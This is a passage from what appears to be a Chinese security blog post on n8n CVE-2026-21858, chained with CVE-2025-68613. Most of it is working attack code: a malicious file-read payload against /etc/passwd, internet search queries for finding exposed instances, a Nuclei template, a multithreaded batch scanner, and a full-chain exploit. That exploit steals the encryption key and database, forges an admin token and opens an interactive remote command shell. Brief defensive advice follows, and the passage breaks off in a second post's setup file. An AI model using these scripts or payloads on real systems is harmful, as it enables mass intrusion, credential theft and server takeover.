\u0026#34;Vulnerable Form\u0026#34;, 3 \u0026#34;nodes\u0026#34;: [ 4 { 5 \u0026#34;parameters\u0026#34;: { 6 \u0026#34;formTitle\u0026#34;: \u0026#34;Upload\u0026#34;, 7 \u0026#34;formFields\u0026#34;: { 8 \u0026#34;values\u0026#34;: [ 9 { 10 \u0026#34;fieldLabel\u0026#34;: \u0026#34;document\u0026#34;, 11 \u0026#34;fieldType\u0026#34;: \u0026#34;file\u0026#34; 12 } 13 ] 14 }, 15 \u0026#34;responseMode\u0026#34;: \u0026#34;responseNode\u0026#34;, 16 \u0026#34;options\u0026#34;: {} 17 }, 18 \u0026#34;id\u0026#34;: \u0026#34;trigger\u0026#34;, 19 \u0026#34;name\u0026#34;: \u0026#34;Form Trigger\u0026#34;, 20 \u0026#34;type\u0026#34;: \u0026#34;n8n-nodes-base.formTrigger\u0026#34;, 21 \u0026#34;typeVersion\u0026#34;: 2.2, 22 \u0026#34;position\u0026#34;: [ 23 0, 24 0 25 ], 26 \u0026#34;webhookId\u0026#34;: \u0026#34;vulnerable-form\u0026#34; 27 }, 28 { 29 \u0026#34;parameters\u0026#34;: { 30 \u0026#34;respondWith\u0026#34;: \u0026#34;binary\u0026#34;, 31 \u0026#34;options\u0026#34;: {} 32 }, 33 \u0026#34;id\u0026#34;: \u0026#34;respond\u0026#34;, 34 \u0026#34;name\u0026#34;: \u0026#34;Respond\u0026#34;, 35 \u0026#34;type\u0026#34;: \u0026#34;n8n-nodes-base.respondToWebhook\u0026#34;, 36 \u0026#34;typeVersion\u0026#34;: 1.1, 37 \u0026#34;position\u0026#34;: [ 38 300, 39 0 40 ] 41 } 42 ], 43 \u0026#34;pinData\u0026#34;: {}, 44 \u0026#34;connections\u0026#34;: { 45 \u0026#34;Form Trigger\u0026#34;: { 46 \u0026#34;main\u0026#34;: [ 47 [ 48 { 49 \u0026#34;node\u0026#34;: \u0026#34;Respond\u0026#34;, 50 \u0026#34;type\u0026#34;: \u0026#34;main\u0026#34;, 51 \u0026#34;index\u0026#34;: 0 52 } 53 ] 54 ] 55 } 56 }, 57 \u0026#34;active\u0026#34;: true, 58 \u0026#34;settings\u0026#34;: { 59 \u0026#34;executionOrder\u0026#34;: \u0026#34;v1\u0026#34; 60 }, 61 \u0026#34;versionId\u0026#34;: \u0026#34;113cf64e-837c-44aa-83f3-5244ee446eac\u0026#34;, 62 \u0026#34;meta\u0026#34;: { 63 \u0026#34;templateCredsSetupCompleted\u0026#34;: true, 64 \u0026#34;instanceId\u0026#34;: \u0026#34;3f11b0ad0c3ab511dade954f94dc424506d153073749fdfee9eaf02b3c813448\u0026#34; 65 }, 66 \u0026#34;id\u0026#34;: \u0026#34;Tjg3GOuwAWx89qE2\u0026#34;, 67 \u0026#34;tags\u0026#34;: [] 68} 🔑 漏洞触发的关键要素 fieldType: \u0026quot;file\u0026quot; - 允许文件上传 respondWith: \u0026quot;binary\u0026quot; - 以二进制形式返回文件内容 节点连接 - Form Trigger → Respond to Webhook responseMode: \u0026quot;responseNode\u0026quot; - 使用响应节点而不是自动响应 ✅ 适用场景（可以利用） 1. 文件处理工作流 ✅ PDF 转换器 ✅ 图片压缩/调整大小 ✅ 文档格式转换器 ✅ 文件预览服务 特点: 用户上传文件 → 处理 → 返回处理后的文件\n2. 默认 n8n 安装 ✅ 表达式注入（CVE-2025-68613）未被禁用 ✅ 本地部署或 Docker 部署 ✅ 配置和数据库存储在本地磁盘 3. 公开访问的表单 ✅ 无需登录即可访问 ✅ 无需 API 密钥或 Token ✅ 直接通过 URL 可访问 ❌ 不适用场景（无法利用） 1. 没有响应节点的表单 Form Trigger → [其他处理节点] → 保存到数据库/发送邮件 ↑ 没有 Respond 节点 结果: 文件被读取但内容无法通过 HTTP 响应获取\n2. 需要认证的表单 访问表单 → 要求登录 → 无法提交恶意 payload 结果: 无法触发漏洞\n3. n8n Cloud（云端托管） ❌ 不同的架构设计 ❌ 无法直接访问本地文件系统 ❌ 数据库不在可读取的路径 4. 已修复版本 ❌ n8n \u0026gt;= 1.121.0（任意文件读取已修复） ❌ n8n \u0026gt;= 1.120.4（表达式注入已修复） 🔍 漏洞原理深度解析 漏洞触发流程 1. 攻击者发送恶意 JSON payload: { \u0026#34;files\u0026#34;: { \u0026#34;test\u0026#34;: { \u0026#34;filepath\u0026#34;: \u0026#34;/etc/passwd\u0026#34;, // ← 控制文件路径 \u0026#34;originalFilename\u0026#34;: \u0026#34;test.txt\u0026#34;, \u0026#34;mimetype\u0026#34;: \u0026#34;text/plain\u0026#34; } } } 2. n8n 错误处理: - 接受 Content-Type: application/json（应该只接受 multipart/form-data） - 直接使用用户提供的 filepath - 没有路径验证或沙箱限制 3. 文件读取: - n8n 读取攻击者指定的任意文件 - 将内容传递给 Respond 节点 4. 数据泄露: - Respond 节点配置为 respondWith: \u0026#34;binary\u0026#34; - 文件内容直接在 HTTP 响应中返回给攻击者 🎭 替代利用方式 即使没有 \u0026ldquo;Respond to Webhook\u0026rdquo; 节点，漏洞仍然存在，但需要不同的数据外泄方法：\n方法 1: 带外（OOB）数据外泄 Form Trigger → HTTP Request 节点 ↓ 将文件内容发送到攻击者的服务器 方法 2: 时序攻击（Blind Exploitation） 读取文件 → 根据文件大小/内容延迟响应 ↓ 攻击者通过响应时间推断文件内容 方法 3: 其他输出节点 Form Trigger → Email/Slack/Discord 节点 ↓ 将文件内容发送到攻击者控制的账户 📊 现实世界中的应用场景 容易受攻击的真实用例 应用场景 配置特点 风险等级 在线文档转换器 文件上传 + 返回转换结果 🔴 高危 图片处理服务 图片上传 + 返回处理后图片 🔴 高危 文件预览工具 文件上传 + 返回预览 🔴 高危 数据分析表单 CSV 上传 + 返回分析结果 🟡 中危 内部工具（需认证） 文件上传但需要登录 🟢 低危 不易受攻击的配置 应用场景 安全原因 纯数据收集表单 只保存数据，不返回文件内容 需要 SSO 的企业表单 认证保护 n8n Cloud 用户 云架构限制 已升级到新版本 补丁修复 搜索语法 n8n 平台远程代码执行漏洞（CVE-2025-68613）ZoomEye搜索app=\u0026ldquo;n8n\u0026rdquo; https://www.zoomeye.org/searchResult?q=YXBwPSJuOG4i hunter搜索语法\nweb.icon==\u0026#34;8ad475e8b10ff8bcff648ae6d49c88ae\u0026#34; web.icon=\u0026#34;8ad475e8b10ff8bcff648ae6d49c88ae\u0026#34;\u0026amp;\u0026amp;icp.number!==\u0026#34;\u0026#34;\u0026amp;\u0026amp;icp.name!=\u0026#34;公司\u0026#34;\u0026amp;\u0026amp;icp.name!=\u0026#34;工作室\u0026#34;\u0026amp;\u0026amp;icp.type!=\u0026#34;个人\u0026#34; Nuclei模板 1id: CVE-2026-21858-lfi-fixed 2 3info: 4 name: n8n Arbitrary File Read (CVE-2026-21858) - Active Check 5 author: customized 6 severity: critical 7 description: | 8 Proves CVE-2026-21858 by reading /etc/passwd via n8n vulnerable form trigger. 9 tags: cve,cve2026,n8n,lfi 10 11requests: 12 - method: POST 13 path: 14 - \u0026#34;{{BaseURL}}/form/vulnerable-form\u0026#34; 15 - \u0026#34;{{BaseURL}}/webhook/vulnerable-form\u0026#34; 16 - \u0026#34;{{BaseURL}}/form/upload\u0026#34; 17 - \u0026#34;{{BaseURL}}/webhook/upload\u0026#34; 18 # 如果你知道其他特定路径，可以在这里添加 19 20 headers: 21 Content-Type: \u0026#34;application/json\u0026#34; 22 23 # 这里的 JSON 必须是压缩的一行，严格模仿 Python 脚本的 Payload 24 body: \u0026#39;{\u0026#34;data\u0026#34;:{},\u0026#34;files\u0026#34;:{\u0026#34;check_vuln\u0026#34;:{\u0026#34;filepath\u0026#34;:\u0026#34;/etc/passwd\u0026#34;,\u0026#34;originalFilename\u0026#34;:\u0026#34;check.bin\u0026#34;,\u0026#34;mimetype\u0026#34;:\u0026#34;application/octet-stream\u0026#34;,\u0026#34;size\u0026#34;:1024}}}\u0026#39; 25 26 matchers-condition: and 27 matchers: 28 - type: regex 29 part: body 30 regex: 31 - \u0026#34;root:.*:0:0:\u0026#34; 32 33 - type: status 34 status: 35 - 200 把上面的代码保存为CVE-2026-21858-lfi.yaml文件，然后执行如下命令。\n1nuclei -u http://8vccf5j.haobachang.loveli.com.cn:8888/ -t CVE-2026-21858-lfi.yaml 批量测试脚本 scan_n8n.py内容如下\n1#!/usr/bin/env python3 2import requests 3import argparse 4import urllib3 5import concurrent.futures 6from urllib.parse import urljoin 7import sys 8 9# 禁用 SSL 警告 10urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 11 12# 颜色代码 13GREEN = \u0026#34;\\033[92m\u0026#34; 14RED = \u0026#34;\\033[91m\u0026#34; 15YELLOW = \u0026#34;\\033[93m\u0026#34; 16RESET = \u0026#34;\\033[0m\u0026#34; 17 18def get_lfi_payload(filepath=\u0026#34;/etc/passwd\u0026#34;): 19 \u0026#34;\u0026#34;\u0026#34;构造恶意 JSON Payload\u0026#34;\u0026#34;\u0026#34; 20 return { 21 \u0026#34;data\u0026#34;: {}, 22 \u0026#34;files\u0026#34;: { 23 \u0026#34;check_vuln\u0026#34;: { 24 \u0026#34;filepath\u0026#34;: filepath, 25 \u0026#34;originalFilename\u0026#34;: \u0026#34;test.bin\u0026#34;, 26 \u0026#34;mimetype\u0026#34;: \u0026#34;application/octet-stream\u0026#34;, 27 \u0026#34;size\u0026#34;: 1024 28 } 29 } 30 } 31 32def check_vulnerability(target_url, form_path): 33 \u0026#34;\u0026#34;\u0026#34;检测单个目标\u0026#34;\u0026#34;\u0026#34; 34 # 确保 URL 格式正确 35 if not target_url.startswith(\u0026#34;http\u0026#34;): 36 target_url = f\u0026#34;http://{target_url}\u0026#34; 37 38 full_url = urljoin(target_url, form_path) 39 40 try: 41 # 发送 LFI 请求 42 response = requests.post( 43 full_url, 44 json=get_lfi_payload(), 45 headers={\u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;}, 46 timeout=10, 47 verify=False 48 ) 49 50 # 检查 /etc/passwd 的特征字符 51 if response.status_code == 200 and \u0026#34;root:x:0:0\u0026#34; in response.text: 52 print(f\u0026#34;[{GREEN}VULN{RESET}] {full_url} - Successfully read /etc/passwd\u0026#34;) 53 return full_url 54 elif response.status_code == 404: 55 # 这里的 404 可能意味着 Form ID 不对，而不是 n8n 不存在 56 print(f\u0026#34;[{YELLOW}WARN{RESET}] {full_url} - Form endpoint not found (404)\u0026#34;) 57 else: 58 print(f\u0026#34;[{RED}FAIL{RESET}] {full_url} - Not vulnerable or unknown response (Code: {response.status_code})\u0026#34;) 59 60 except requests.exceptions.RequestException as e: 61 print(f\u0026#34;[{RED}ERR {RESET}] {target_url} - Connection failed: {str(e)[:50]}\u0026#34;) 62 63 return None 64 65def main(): 66 parser = argparse.ArgumentParser(description=\u0026#34;Batch Scanner for CVE-2026-21858 (n8n LFI)\u0026#34;) 67 parser.add_argument(\u0026#34;-f\u0026#34;, \u0026#34;--file\u0026#34;, help=\u0026#34;File containing list of target URLs\u0026#34;, required=True) 68 parser.add_argument(\u0026#34;-p\u0026#34;, \u0026#34;--path\u0026#34;, help=\u0026#34;Form path to test (default: /form/vulnerable-form)\u0026#34;, default=\u0026#34;/form/vulnerable-form\u0026#34;) 69 parser.add_argument(\u0026#34;-t\u0026#34;, \u0026#34;--threads\u0026#34;, help=\u0026#34;Number of threads\u0026#34;, type=int, default=10) 70 parser.add_argument(\u0026#34;-o\u0026#34;, \u0026#34;--output\u0026#34;, help=\u0026#34;File to save vulnerable URLs\u0026#34;, default=\u0026#34;vuln_hosts.txt\u0026#34;) 71 72 args = parser.parse_args() 73 74 targets = [] 75 try: 76 with open(args.file, \u0026#34;r\u0026#34;) as f: 77 targets = [line.strip() for line in f if line.strip()] 78 except FileNotFoundError: 79 print(f\u0026#34;Error: File {args.file} not found.\u0026#34;) 80 sys.exit(1) 81 82 print(f\u0026#34;[*] Loaded {len(targets)} targets.\u0026#34;) 83 print(f\u0026#34;[*] Testing Form Path: {args.path}\u0026#34;) 84 print(\u0026#34;[*] Starting scan...\\n\u0026#34;) 85 86 vulnerable_hosts = [] 87 88 # 多线程扫描 89 with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor: 90 futures = {executor.submit(check_vulnerability, url, args.path): url for url in targets} 91 92 for future in concurrent.futures.as_completed(futures): 93 result = future.result() 94 if result: 95 vulnerable_hosts.append(result) 96 97 # 保存结果 98 if vulnerable_hosts: 99 with open(args.output, \u0026#34;w\u0026#34;) as f: 100 for url in vulnerable_hosts: 101 f.write(url + \u0026#34;\\n\u0026#34;) 102 print(f\u0026#34;\\n[{GREEN}SUCCESS{RESET}] Found {len(vulnerable_hosts)} vulnerable hosts. Saved to {args.output}\u0026#34;) 103 else: 104 print(f\u0026#34;\\n[{RED}FINISHED{RESET}] No vulnerable hosts found.\u0026#34;) 105 106if __name__ == \u0026#34;__main__\u0026#34;: 107 main() 准备一个 target.txt，每行一个 http://ip:port。\n1python .\\scan_n8n.py -f .\\target.txt -t 20 🛡️ 防御建议 对于 n8n 用户 立即升级: 升级到 n8n \u0026gt;= 1.121.0 审查工作流: 检查所有公开表单是否有文件上传功能 添加认证: 为所有表单添加身份验证 限制访问: 使用 IP 白名单或 VPN 对于开发者 输入验证: 验证 Content-Type 必须是 multipart/form-data 路径沙箱: 限制文件访问在安全目录内 安全审计: 定期审查文件处理相关代码 💡 总结 CVE-2026-21858 不是通用漏洞，它需要：\n✅ 特定的工作流配置（文件上传 + 响应节点） ✅ 工作流处于激活状态 ✅ 无认证保护 ✅ 易受攻击的 n8n 版本 但是，满足这些条件的系统非常容易被完全攻陷：\n任意文件读取 → 窃取数据库和密钥 Token 伪造 → 获取管理员权限 表达式注入 → 远程代码执行 CVSS 评分 10.0 是合理的，因为一旦条件满足，攻击链是完全可靠且易于执行的。\n🔗 参考资源 官方公告 https://www.cve.org/CVERecord?id=CVE-2026-21858\n技术分析 Cyera Research - Ni8mare Full Write-up - Original research by Dor Attias GHSA-v4pr-fm98-w9pg - CVE-2026-21858 GHSA-v98v-ff95-f3cp - CVE-2025-68613 Nuclei Template CVE-2025-68613 LeakIX Search Results - Exposed vulnerable instances Formidable - \u0026ldquo;The library, not the song\u0026rdquo; (thanks Cyera for the laugh) PoC/Exploit 1#!/usr/bin/env python3 2\u0026#34;\u0026#34;\u0026#34; 3CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain Exploit 4Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE 5 6Author: Chocapikk 7GitHub: https://github.com/Chocapikk/CVE-2026-21858 8\u0026#34;\u0026#34;\u0026#34; 9 10import argparse 11import hashlib 12import json 13import secrets 14import sqlite3 15import string 16import tempfile 17from base64 import b64encode 18 19import jwt 20import requests 21from pwn import log 22 23BANNER = \u0026#34;\u0026#34;\u0026#34; 24╔═══════════════════════════════════════════════════════════════╗ 25║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║ 26║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║ 27║ ║ 28║ by Chocapikk ║ 29╚═══════════════════════════════════════════════════════════════╝ 30\u0026#34;\u0026#34;\u0026#34; 31 32RCE_PAYLOAD = \u0026#39;={{ (function() { var require = this.process.mainModule.require; var execSync = require(\u0026#34;child_process\u0026#34;).execSync; return execSync(\u0026#34;CMD\u0026#34;).toString(); })() }}\u0026#39; 33 34 35def randstr(n: int = 12) -\u0026gt; str: 36 return \u0026#34;\u0026#34;.join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(n)) 37 38 39def randpos() -\u0026gt; list[int]: 40 return [secrets.randbelow(500) + 100, secrets.randbelow(500) + 100] 41 42 43class Ni8mare: 44 def __init__(self, base_url: str, form_path: str): 45 self.base_url = base_url.rstrip(\u0026#34;/\u0026#34;) 46 self.form_url = f\u0026#34;{self.base_url}/{form_path.lstrip(\u0026#39;/\u0026#39;)}\u0026#34; 47 self.session = requests.Session() 48 self.admin_token = None 49 50 def _api(self, method: str, path: str, **kwargs) -\u0026gt; requests.Response | None: 51 kwargs.setdefault(\u0026#34;timeout\u0026#34;, 30) 52 kwargs.setdefault(\u0026#34;cookies\u0026#34;, {\u0026#34;n8n-auth\u0026#34;: self.admin_token} if self.admin_token else {}) 53 resp = self.session.request(method, f\u0026#34;{self.base_url}{path}\u0026#34;, **kwargs) 54 return resp if resp.ok else None 55 56 def _lfi_payload(self, filepath: str) -\u0026gt; dict: 57 return { 58 \u0026#34;data\u0026#34;: {}, 59 \u0026#34;files\u0026#34;: { 60 f\u0026#34;f-{randstr(6)}\u0026#34;: { 61 \u0026#34;filepath\u0026#34;: filepath, 62 \u0026#34;originalFilename\u0026#34;: f\u0026#34;{randstr(8)}.bin\u0026#34;, 63 \u0026#34;mimetype\u0026#34;: \u0026#34;application/octet-stream\u0026#34;, 64 \u0026#34;size\u0026#34;: secrets.randbelow(90000) + 10000 65 } 66 } 67 } 68 69 def _build_nodes(self, command: str) -\u0026gt; tuple[list, dict, str, str]: 70 trigger_name, rce_name = f\u0026#34;T-{randstr(8)}\u0026#34;, f\u0026#34;R-{randstr(8)}\u0026#34; 71 result_var = f\u0026#34;v{randstr(6)}\u0026#34; 72 payload_value = RCE_PAYLOAD.replace(\u0026#34;CMD\u0026#34;, command.replace(\u0026#39;\u0026#34;\u0026#39;, \u0026#39;\\\\\u0026#34;\u0026#39;)) 73 nodes = [ 74 {\u0026#34;parameters\u0026#34;: {}, \u0026#34;name\u0026#34;: trigger_name, \u0026#34;type\u0026#34;: \u0026#34;n8n-nodes-base.manualTrigger\u0026#34;, 75 \u0026#34;typeVersion\u0026#34;: 1, \u0026#34;position\u0026#34;: randpos(), \u0026#34;id\u0026#34;: f\u0026#34;t-{randstr(12)}\u0026#34;}, 76 {\u0026#34;parameters\u0026#34;: {\u0026#34;values\u0026#34;: {\u0026#34;string\u0026#34;: [{\u0026#34;name\u0026#34;: result_var, \u0026#34;value\u0026#34;: payload_value}]}}, 77 \u0026#34;name\u0026#34;: rce_name, \u0026#34;type\u0026#34;: \u0026#34;n8n-nodes-base.set\u0026#34;, \u0026#34;typeVersion\u0026#34;: 2, 78 \u0026#34;position\u0026#34;: randpos(), \u0026#34;id\u0026#34;: f\u0026#34;r-{randstr(12)}\u0026#34;} 79 ] 80 connections = {trigger_name: {\u0026#34;main\u0026#34;: [[{\u0026#34;node\u0026#34;: rce_name, \u0026#34;type\u0026#34;: \u0026#34;main\u0026#34;, \u0026#34;index\u0026#34;: 0}]]}} 81 return nodes, connections, trigger_name, rce_name 82 83 # ========== Arbitrary File Read (CVE-2026-21858) ========== 84 85 def read_file(self, filepath: str, timeout: int = 30) -\u0026gt; bytes | None: 86 resp = self.session.post( 87 self.form_url, json=self._lfi_payload(filepath), 88 headers={\u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;}, timeout=timeout 89 ) 90 return resp.content if resp.ok and resp.content else None 91 92 def get_version(self) -\u0026gt; tuple[str, bool]: 93 resp = self._api(\u0026#34;GET\u0026#34;, \u0026#34;/rest/settings\u0026#34;, timeout=10) 94 version = resp.json().get(\u0026#34;data\u0026#34;, {}).get(\u0026#34;versionCli\u0026#34;, \u0026#34;0.0.0\u0026#34;) if resp else \u0026#34;0.0.0\u0026#34; 95 major, minor = map(int, version.split(\u0026#34;.\u0026#34;)[:2]) 96 return version, major \u0026lt; 1 or (major == 1 and minor \u0026lt; 121) 97 98 def get_home(self) -\u0026gt; str | None: 99 data = self.read_file(\u0026#34;/proc/self/environ\u0026#34;) 100 if not data: 101 return None 102 for var in data.split(b\u0026#34;\\x00\u0026#34;): 103 if var.startswith(b\u0026#34;HOME=\u0026#34;): 104 return var.decode().split(\u0026#34;=\u0026#34;, 1)[1] 105 return None 106 107 def get_key(self, home: str) -\u0026gt; str | None: 108 data = self.read_file(f\u0026#34;{home}/.n8n/config\u0026#34;) 109 return json.loads(data).get(\u0026#34;encryptionKey\u0026#34;) if data else None 110 111 def get_db(self, home: str) -\u0026gt; bytes | None: 112 return self.read_file(f\u0026#34;{home}/.n8n/database.sqlite\u0026#34;, timeout=120) 113 114 def extract_admin(self, db: bytes) -\u0026gt; tuple[str, str, str] | None: 115 with tempfile.NamedTemporaryFile(suffix=\u0026#34;.db\u0026#34;) as f: 116 f.write(db) 117 f.flush() 118 conn = sqlite3.connect(f.name) 119 row = conn.execute(\u0026#34;SELECT id, email, password FROM user WHERE role=\u0026#39;global:owner\u0026#39; LIMIT 1\u0026#34;).fetchone() 120 conn.close() 121 return (row[0], row[1], row[2]) if row else None 122 123 def forge_token(self, key: str, uid: str, email: str, pw_hash: str) -\u0026gt; str: 124 secret = hashlib.sha256(key[::2].encode()).hexdigest() 125 h = b64encode(hashlib.sha256(f\u0026#34;{email}:{pw_hash}\u0026#34;.encode()).digest()).decode()[:10] 126 self.admin_token = jwt.encode({\u0026#34;id\u0026#34;: uid, \u0026#34;hash\u0026#34;: h}, secret, \u0026#34;HS256\u0026#34;) 127 return self.admin_token 128 129 def verify_token(self) -\u0026gt; bool: 130 return self._api(\u0026#34;GET\u0026#34;, \u0026#34;/rest/users\u0026#34;, timeout=10) is not None 131 132 # ========== RCE (CVE-2025-68613) ========== 133 134 def rce(self, command: str) -\u0026gt; str | None: 135 nodes, connections, _, _ = self._build_nodes(command) 136 wf_name = f\u0026#34;wf-{randstr(16)}\u0026#34; 137 workflow = {\u0026#34;name\u0026#34;: wf_name, \u0026#34;active\u0026#34;: False, \u0026#34;nodes\u0026#34;: nodes, 138 \u0026#34;connections\u0026#34;: connections, \u0026#34;settings\u0026#34;: {}} 139 140 resp = self._api(\u0026#34;POST\u0026#34;, \u0026#34;/rest/workflows\u0026#34;, json=workflow, timeout=10) 141 if not resp: 142 return None 143 wf_id = resp.json().get(\u0026#34;data\u0026#34;, {}).get(\u0026#34;id\u0026#34;) 144 if not wf_id: 145 return None 146 147 run_data = {\u0026#34;workflowData\u0026#34;: {\u0026#34;id\u0026#34;: wf_id, \u0026#34;name\u0026#34;: wf_name, \u0026#34;active\u0026#34;: False, 148 \u0026#34;nodes\u0026#34;: nodes, \u0026#34;connections\u0026#34;: connections, \u0026#34;settings\u0026#34;: {}}} 149 resp = self._api(\u0026#34;POST\u0026#34;, f\u0026#34;/rest/workflows/{wf_id}/run\u0026#34;, json=run_data, timeout=30) 150 if not resp: 151 self._api(\u0026#34;DELETE\u0026#34;, f\u0026#34;/rest/workflows/{wf_id}\u0026#34;, timeout=5) 152 return None 153 154 exec_id = resp.json().get(\u0026#34;data\u0026#34;, {}).get(\u0026#34;executionId\u0026#34;) 155 result = self._get_result(exec_id) if exec_id else None 156 self._api(\u0026#34;DELETE\u0026#34;, f\u0026#34;/rest/workflows/{wf_id}\u0026#34;, timeout=5) 157 return result 158 159 def _get_result(self, exec_id: str) -\u0026gt; str | None: 160 resp = self._api(\u0026#34;GET\u0026#34;, f\u0026#34;/rest/executions/{exec_id}\u0026#34;, timeout=10) 161 if not resp: 162 return None 163 data = resp.json().get(\u0026#34;data\u0026#34;, {}).get(\u0026#34;data\u0026#34;) 164 if not data: 165 return None 166 parsed = json.loads(data) 167 # Result is usually the last non-empty string 168 for item in reversed(parsed): 169 if isinstance(item, str) and len(item) \u0026gt; 3 and item not in (\u0026#34;success\u0026#34;, \u0026#34;error\u0026#34;): 170 return item.strip() 171 return None 172 173 # ========== Full Chain ========== 174 175 def pwn(self) -\u0026gt; bool: 176 p = log.progress(\u0026#34;HOME directory\u0026#34;) 177 home = self.get_home() 178 if not home: 179 return p.failure(\u0026#34;Not found\u0026#34;) or False 180 p.success(home) 181 182 p = log.progress(\u0026#34;Encryption key\u0026#34;) 183 key = self.get_key(home) 184 if not key: 185 return p.failure(\u0026#34;Failed\u0026#34;) or False 186 p.success(f\u0026#34;{key[:8]}...\u0026#34;) 187 188 p = log.progress(\u0026#34;Database\u0026#34;) 189 db = self.get_db(home) 190 if not db: 191 return p.failure(\u0026#34;Failed\u0026#34;) or False 192 p.success(f\u0026#34;{len(db)} bytes\u0026#34;) 193 194 p = log.progress(\u0026#34;Admin user\u0026#34;) 195 admin = self.extract_admin(db) 196 if not admin: 197 return p.failure(\u0026#34;Not found\u0026#34;) or False 198 uid, email, pw = admin 199 p.success(email) 200 201 p = log.progress(\u0026#34;Token forge\u0026#34;) 202 self.forge_token(key, uid, email, pw) 203 p.success(\u0026#34;OK\u0026#34;) 204 205 p = log.progress(\u0026#34;Admin access\u0026#34;) 206 if not self.verify_token(): 207 return p.failure(\u0026#34;Rejected\u0026#34;) or False 208 p.success(\u0026#34;GRANTED!\u0026#34;) 209 210 log.success(f\u0026#34;Cookie: n8n-auth={self.admin_token}\u0026#34;) 211 return True 212 213 214def parse_args(): 215 p = argparse.ArgumentParser(description=\u0026#34;n8n Ni8mare - Full Chain Exploit\u0026#34;) 216 p.add_argument(\u0026#34;url\u0026#34;, help=\u0026#34;Target URL (http://target:5678)\u0026#34;) 217 p.add_argument(\u0026#34;form\u0026#34;, help=\u0026#34;Form path (/form/upload)\u0026#34;) 218 p.add_argument(\u0026#34;--read\u0026#34;, metavar=\u0026#34;PATH\u0026#34;, help=\u0026#34;Read arbitrary file\u0026#34;) 219 p.add_argument(\u0026#34;--cmd\u0026#34;, metavar=\u0026#34;CMD\u0026#34;, help=\u0026#34;Execute single command\u0026#34;) 220 p.add_argument(\u0026#34;-o\u0026#34;, \u0026#34;--output\u0026#34;, metavar=\u0026#34;FILE\u0026#34;, help=\u0026#34;Save LFI output to file\u0026#34;) 221 return p.parse_args() 222 223 224def run_read(exploit: Ni8mare, path: str, output: str | None) -\u0026gt; None: 225 data = exploit.read_file(path) 226 if not data: 227 log.error(\u0026#34;File read failed\u0026#34;) 228 return 229 log.success(f\u0026#34;{len(data)} bytes\u0026#34;) 230 if output: 231 with open(output, \u0026#34;wb\u0026#34;) as f: 232 f.write(data) 233 log.success(f\u0026#34;Saved: {output}\u0026#34;) 234 return 235 print(data.decode()) 236 237 238def run_cmd(exploit: Ni8mare, cmd: str) -\u0026gt; None: 239 p = log.progress(\u0026#34;RCE\u0026#34;) 240 out = exploit.rce(cmd) 241 if not out: 242 p.failure(\u0026#34;Failed\u0026#34;) 243 return 244 p.success(\u0026#34;OK\u0026#34;) 245 print(f\u0026#34;\\n{out}\u0026#34;) 246 247 248def run_shell(exploit: Ni8mare) -\u0026gt; None: 249 log.info(\u0026#34;Interactive mode (type \u0026#39;exit\u0026#39; to quit)\u0026#34;) 250 while True: 251 try: 252 cmd = input(\u0026#34;\\033[91mn8n\\033[0m\u0026gt; \u0026#34;).strip() 253 except (EOFError, KeyboardInterrupt): 254 print() 255 return 256 if not cmd or cmd == \u0026#34;exit\u0026#34;: 257 return 258 out = exploit.rce(cmd) 259 if out: 260 print(out) 261 262 263def main(): 264 print(BANNER) 265 args = parse_args() 266 267 exploit = Ni8mare(args.url, args.form) 268 version, vuln = exploit.get_version() 269 log.info(f\u0026#34;Target: {exploit.form_url}\u0026#34;) 270 log.info(f\u0026#34;Version: {version} ({\u0026#39;VULN\u0026#39; if vuln else \u0026#39;SAFE\u0026#39;})\u0026#34;) 271 272 if args.read: 273 run_read(exploit, args.read, args.output) 274 return 275 276 if not exploit.pwn(): 277 return 278 279 if args.cmd: 280 run_cmd(exploit, args.cmd) 281 return 282 283 run_shell(exploit) 284 285 286if __name__ == \u0026#34;__main__\u0026#34;: 287 main() ","date":"2026-01-15T11:00:35+08:00","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251219144259217.png","permalink":"/post/cve-2026-21858-%E5%9B%A0%E4%B8%8D%E5%BD%93%E7%9A%84-webhook-%E8%AF%B7%E6%B1%82%E5%A4%84%E7%90%86%E8%80%8C%E6%98%93%E5%8F%97%E6%9C%AA%E8%AE%A4%E8%AF%81%E6%96%87%E4%BB%B6%E8%AE%BF%E9%97%AE/","title":"CVE-2026-21858 因不当的 Webhook 请求处理而易受未认证文件访问"},{"content":"🔬 技术分析 漏洞原理 由于 n8n 工作流表达式的评估环境未能与底层 Node.js 运行时充分隔离，导致==经过身份验证==的远程攻击者可在特定条件下，通过配置恶意表达式突破沙箱限制，从而直接访问并操作 Node.js 全局对象或内置模块，最终在运行 n8n 进程的服务器上以该进程权限执行任意操作系统命令。\n搜索语法 n8n 平台远程代码执行漏洞（CVE-2025-68613）ZoomEye搜索app=\u0026ldquo;n8n\u0026rdquo; https://www.zoomeye.org/searchResult?q=YXBwPSJuOG4i\n也可搜索端口5678或图标ico，多数默认配置都是如此。 hunter搜索语法\nweb.icon==\u0026#34;8ad475e8b10ff8bcff648ae6d49c88ae\u0026#34; web.icon=\u0026#34;8ad475e8b10ff8bcff648ae6d49c88ae\u0026#34;\u0026amp;\u0026amp;icp.number!==\u0026#34;\u0026#34;\u0026amp;\u0026amp;icp.name!=\u0026#34;公司\u0026#34;\u0026amp;\u0026amp;icp.name!=\u0026#34;工作室\u0026#34;\u0026amp;\u0026amp;icp.type!=\u0026#34;个人\u0026#34; 💣 漏洞复现 环境搭建 根据官方 docker-compose.yml，修改 n8n 版本为 1.71.0：\n1volumes: 2 db_storage: 3 n8n_storage: 4 5services: 6 postgres: 7 image: postgres:16 8 restart: always 9 environment: 10 - POSTGRES_USER=n8n_user 11 - POSTGRES_PASSWORD=n8n_password 12 - POSTGRES_DB=n8n_db 13 - POSTGRES_NON_ROOT_USER=n8n_root 14 - POSTGRES_NON_ROOT_PASSWORD=n8n_root_password 15 volumes: 16 - db_storage:/var/lib/postgresql/data 17 - ./init-data.sh:/docker-entrypoint-initdb.d/init-data.sh 18 healthcheck: 19 test: [\u0026#39;CMD-SHELL\u0026#39;, \u0026#39;pg_isready -h localhost -U n8n_user -d n8n_db\u0026#39;] 20 interval: 5s 21 timeout: 5s 22 retries: 10 23 24 n8n: 25 image: 